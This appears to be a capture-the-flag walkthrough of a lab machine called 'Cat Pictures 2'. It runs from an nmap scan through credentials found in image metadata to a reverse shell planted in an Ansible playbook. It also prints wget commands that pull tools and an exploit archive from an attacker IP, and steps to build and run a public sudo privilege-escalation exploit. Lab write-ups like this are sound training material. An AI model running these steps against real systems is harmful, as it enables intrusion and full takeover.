Cat Pictures 2
Right off the bat we can tell that the web server is not running off of a default port, so we are forced to scan for other ports using nmap -A -T5 -p- 10.10.108.247 -vv.
Results:
Nmap scan report for 10.10.74.64
Host is up, received reset ttl 61 (0.17s latency).
Scanned at 2023-07-06 06:02:31 MDT for 113s
PORT STATE SERVICE REASON VERSION
80/tcp closed http reset ttl 61
222/tcp closed rsh-spx reset ttl 61
1337/tcp open waste? syn-ack ttl 61
| fingerprint-strings:
| GenericLines:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 200 OK
| Accept-Ranges: bytes
| Content-Length: 3858
| Content-Type: text/html; charset=utf-8
| Date: Thu, 06 Jul 2023 12:02:52 GMT
| Last-Modified: Wed, 19 Oct 2022 15:30:49 GMT
| <!DOCTYPE html>
| <html>
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1.0">
| <title>OliveTin</title>
| <link rel = "stylesheet" type = "text/css" href = "style.css" />
| <link rel = "shortcut icon" type = "image/png" href = "OliveTinLogo.png" />
| <link rel = "apple-touch-icon" sizes="57x57" href="OliveTinLogo-57px.png" />
| <link rel = "apple-touch-icon" sizes="120x120" href="OliveTinLogo-120px.png" />
| <link rel = "apple-touch-icon" sizes="180x180" href="OliveTinLogo-180px.png" />
| </head>
| <body>
| <main title = "main content">
| <fieldset id = "section-switcher" title = "Sections">
| <button id = "showActions">Actions</button>
|_ <button id = "showLogs">Logs</but
3000/tcp closed ppp reset ttl 61
8080/tcp closed http-proxy reset ttl 61
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port1337-TCP:V=7.94%I=7%D=7/6%Time=64A6AD5D%P=x86_64-pc-linux-gnu%r(Gen
SF:ericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20te
SF:xt/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x2
SF:0Request")%r(GetRequest,FCC,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\x
SF:20bytes\r\nContent-Length:\x203858\r\nContent-Type:\x20text/html;\x20ch
SF:arset=utf-8\r\nDate:\x20Thu,\x2006\x20Jul\x202023\x2012:02:52\x20GMT\r\
SF:nLast-Modified:\x20Wed,\x2019\x20Oct\x202022\x2015:30:49\x20GMT\r\n\r\n
SF:<!DOCTYPE\x20html>\n\n<html>\n\t<head>\n\n\t\t<meta\x20name=\"viewport\
SF:"\x20content=\"width=device-width,\x20initial-scale=1\.0\">\n\n\t\t<tit
SF:le>OliveTin</title>\n\t\t<link\x20rel\x20=\x20\"stylesheet\"\x20type\x2
SF:0=\x20\"text/css\"\x20href\x20=\x20\"style\.css\"\x20/>\n\t\t<link\x20r
SF:el\x20=\x20\"shortcut\x20icon\"\x20type\x20=\x20\"image/png\"\x20href\x
SF:20=\x20\"OliveTinLogo\.png\"\x20/>\n\n\t\t<link\x20rel\x20=\x20\"apple-
SF:touch-icon\"\x20sizes=\"57x57\"\x20href=\"OliveTinLogo-57px\.png\"\x20/
SF:>\n\t\t<link\x20rel\x20=\x20\"apple-touch-icon\"\x20sizes=\"120x120\"\x
SF:20href=\"OliveTinLogo-120px\.png\"\x20/>\n\t\t<link\x20rel\x20=\x20\"ap
SF:ple-touch-icon\"\x20sizes=\"180x180\"\x20href=\"OliveTinLogo-180px\.png
SF:\"\x20/>\n\t</head>\n\n\t<body>\n\t\t<main\x20title\x20=\x20\"main\x20c
SF:ontent\">\n\t\t\t<fieldset\x20id\x20=\x20\"section-switcher\"\x20title\
SF:x20=\x20\"Sections\">\n\t\t\t\t<button\x20id\x20=\x20\"showActions\">Ac
SF:tions</button>\n\t\t\t\t<button\x20id\x20=\x20\"showLogs\">Logs</but")%
SF:r(HTTPOptions,FCC,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ranges:\x20bytes\r\
SF:nContent-Length:\x203858\r\nContent-Type:\x20text/html;\x20charset=utf-
SF:8\r\nDate:\x20Thu,\x2006\x20Jul\x202023\x2012:02:52\x20GMT\r\nLast-Modi
SF:fied:\x20Wed,\x2019\x20Oct\x202022\x2015:30:49\x20GMT\r\n\r\n<!DOCTYPE\
SF:x20html>\n\n<html>\n\t<head>\n\n\t\t<meta\x20name=\"viewport\"\x20conte
SF:nt=\"width=device-width,\x20initial-scale=1\.0\">\n\n\t\t<title>OliveTi
SF:n</title>\n\t\t<link\x20rel\x20=\x20\"stylesheet\"\x20type\x20=\x20\"te
SF:xt/css\"\x20href\x20=\x20\"style\.css\"\x20/>\n\t\t<link\x20rel\x20=\x2
SF:0\"shortcut\x20icon\"\x20type\x20=\x20\"image/png\"\x20href\x20=\x20\"O
SF:liveTinLogo\.png\"\x20/>\n\n\t\t<link\x20rel\x20=\x20\"apple-touch-icon
SF:\"\x20sizes=\"57x57\"\x20href=\"OliveTinLogo-57px\.png\"\x20/>\n\t\t<li
SF:nk\x20rel\x20=\x20\"apple-touch-icon\"\x20sizes=\"120x120\"\x20href=\"O
SF:liveTinLogo-120px\.png\"\x20/>\n\t\t<link\x20rel\x20=\x20\"apple-touch-
SF:icon\"\x20sizes=\"180x180\"\x20href=\"OliveTinLogo-180px\.png\"\x20/>\n
SF:\t</head>\n\n\t<body>\n\t\t<main\x20title\x20=\x20\"main\x20content\">\
SF:n\t\t\t<fieldset\x20id\x20=\x20\"section-switcher\"\x20title\x20=\x20\"
SF:Sections\">\n\t\t\t\t<button\x20id\x20=\x20\"showActions\">Actions</but
SF:ton>\n\t\t\t\t<button\x20id\x20=\x20\"showLogs\">Logs</but");
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.94%E=4%D=7/6%OT=1337%CT=80%CU=44556%PV=Y%DS=4%DC=T%G=Y%TM=64A6A
OS:DC8%P=x86_64-pc-linux-gnu)SEQ(SP=103%GCD=1%ISR=10A%TI=Z%CI=Z%II=I%TS=A)O
OS:PS(O1=M509ST11NW7%O2=M509ST11NW7%O3=M509NNT11NW7%O4=M509ST11NW7%O5=M509S
OS:T11NW7%O6=M509ST11)WIN(W1=F4B3%W2=F4B3%W3=F4B3%W4=F4B3%W5=F4B3%W6=F4B3)E
OS:CN(R=Y%DF=Y%T=40%W=F507%O=M509NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F
OS:=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5
OS:(R=Y%DF=Y%T=3F%W=FE88%S=O%A=S+%F=AS%O=M509ST11NW7%RD=0%Q=)T6(R=Y%DF=Y%T=
OS:3F%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=N)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=
OS:G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Uptime guess: 14.428 days (since Wed Jun 21 19:48:42 2023)
Network Distance: 4 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros
TRACEROUTE (using port 80/tcp)
HOP RTT ADDRESS
1 45.89 ms 10.13.0.1
2 ... 3
4 166.41 ms 10.10.74.64
We discover 5 ports: 222 for SSH, 80, 8080, 1337, and 3000.
Port 80:
- Looks to be a lychee service to host pictures -- cute cats. After looking through these pictures, we notice something peculiar.
-
There's a note to self to strip metadata. This could possibly be a exiftool item.
-
Hmm... the title reveals
:8080/764efa883dda1e11db47671c4a3bbd9e.txt, let's check it out. -
Wonderful, we found the username
samariumand passwordTUmhyZ37CLZrhP. -
Additionally, we see that these accounts are associated with the gitea service running port 3000 we identified earlier.
-
Let's trying logging in:
-
We're in and find our first flag!
-
Now what?
-
Well we find a yaml file with some potentially useful information, at least a remote_user of
bismuth. Maybe something. -
Curious if we can modify the yaml code and put in a reverse shell. Let's try it and pop a nc listener.
-
Going to the Olive Tin application, running the Ansible Playbook, and checking the logs reveals that the shell code took, but generated an error.
-
After digging through the commit history logs we find a version that contains
bismuthas a remote_user. Let's modify this one. -
Considering the Ansible code will not execute unless it contains a lsit of plays, let's revert the code we deleted and modify the
Command:line to inlcude our shell. -
Going over to the Olive Tin application and running the Ansible Playbook button drops a shell into our listener.
-
We grab our second flag here as well.
-
Now time to get root.
-
Next we want to download linPEAS. We can do this by starting a python server
python3 -m http.server 8000from our attack box andwget http://<ATTACKER_IP>:8000/linpeas_linux_amd64to the box. Then set permissionschmod +x linpeas_linux_amd64and running it./linpeas_linux_amd64 -
This box is has a sudo vulnerability:
-
From here we want to download the exploit to our attack box
git clone https://github.com/blasty/CVE-2021-3156. -
Run
tar -cvf exploit.tar CVE-2021-3156 -
Start a python server
python3 -m http.server 8000 -
Download it to the box:
wget http://10.13.28.215:8000/exploit.tar -
Then
tar xopf exploit.tar -
cd CVE-2021-3156 -
make -
./sudo-hax-me-a-sandwich 0 -
Root!
Port 222:
-
Trying to brute force ssh with username
samariumreveals that an id_rsa is required.Port 1337:
-
This reveals an Olive Tin application running on version: 2022-10-19.
-
We can see there's an ansible feature which runs predefined scripts from the backend. This will be useful later on.
Port 3000:
- This is a Gitea product, which is a devops platform. Seems to be running off of a default configuration.